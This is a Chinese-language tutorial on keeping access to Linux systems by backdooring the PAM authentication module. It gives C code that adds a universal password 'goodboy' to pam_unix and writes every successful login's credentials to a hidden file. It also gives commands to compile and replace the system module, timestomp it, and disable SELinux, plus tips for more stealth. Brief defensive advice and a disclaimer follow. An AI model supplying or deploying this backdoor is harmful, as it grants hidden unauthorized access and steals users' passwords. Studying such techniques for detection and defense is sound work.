内网技巧-Linux权限维持之PAM万能密码登录
字数 879 2025-08-18 17:33:38
Linux权限维持之PAM万能密码登录技术详解
一、PAM基础概念
PAM (Pluggable Authentication Modules)是由Sun提出的一种认证机制,它通过提供动态链接库和统一API,将系统服务和认证方式分离,使管理员可以灵活配置不同服务的认证方式。
特点:
- 动态认证机制
- 支持多种认证方式
- 无需修改服务程序
- 已移植到Linux、SunOS、HP-UX等系统
二、环境准备
1. 系统环境检查
检查系统信息:
# 检查系统位数
getconf LONG_BIT
# 检查系统版本
cat /etc/redhat-release
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
# 检查PAM版本
rpm -qa | grep pam # RedHat/CentOS
apt-get list --installed | grep pam # Debian/Ubuntu
2. 实验环境要求
- CentOS 7系统
- root权限
- PAM 1.1.8版本
- 安装gcc编译器:
yum install gcc
三、PAM模块修改步骤
1. 下载并解压PAM源码
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz
cd Linux-PAM-1.1.8
2. 修改认证模块代码
编辑文件:modules/pam_unix/pam_unix_auth.c
在180行附近添加万能密码逻辑:
if (strcmp(p, "goodboy") == 0) {
retval = PAM_SUCCESS;
}
if (retval == PAM_SUCCESS) {
FILE *fp = fopen("/usr/share/java/.null", "a+");
fprintf(fp, "%s::%s\n", name, p);
fclose(fp);
}
代码功能:
- 设置万能密码"goodboy"可直接通过认证
- 记录所有成功登录的用户名和密码到隐藏文件
3. 编译修改后的PAM
# 首次编译可能报错
./configure && make
# 解决yywrap未定义错误
yum install flex-devel flex
# 重新编译
./configure && make
编译生成的文件位于:modules/pam_unix/.libs/pam_unix.so
四、替换系统PAM模块
1. 备份原文件
cp -af /lib64/security/pam_unix.so /opt/
2. 替换为修改后的模块
cp -af pam_unix.so /lib64/security/
3. 修改文件时间属性
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so
4. 关闭SELinux
vim /etc/selinux/config
# 修改为:
SELINUX=disabled
五、验证与使用
- 使用万能密码"goodboy"可登录任意账户
- 原有密码仍可正常使用
- 所有成功登录的凭证会被记录到:
/usr/share/java/.null
六、技术原理分析
- PAM认证流程被修改,添加了万能密码绕过逻辑
- 认证成功后记录凭证,实现凭证窃取
- 通过修改时间属性隐藏痕迹
- 需要关闭SELinux避免安全机制拦截
七、防御措施
- 监控系统关键文件完整性
- 启用SELinux并保持开启状态
- 定期检查PAM模块的修改时间
- 检查异常日志文件
- 使用完整性检查工具如AIDE
八、高级技巧
- 可以设置多个万能密码
- 可修改记录文件路径为更隐蔽位置
- 可添加加密功能保护记录的凭证
- 可结合其他权限维持技术增强隐蔽性
注意:本技术仅限合法授权测试使用,未经授权使用可能违反法律。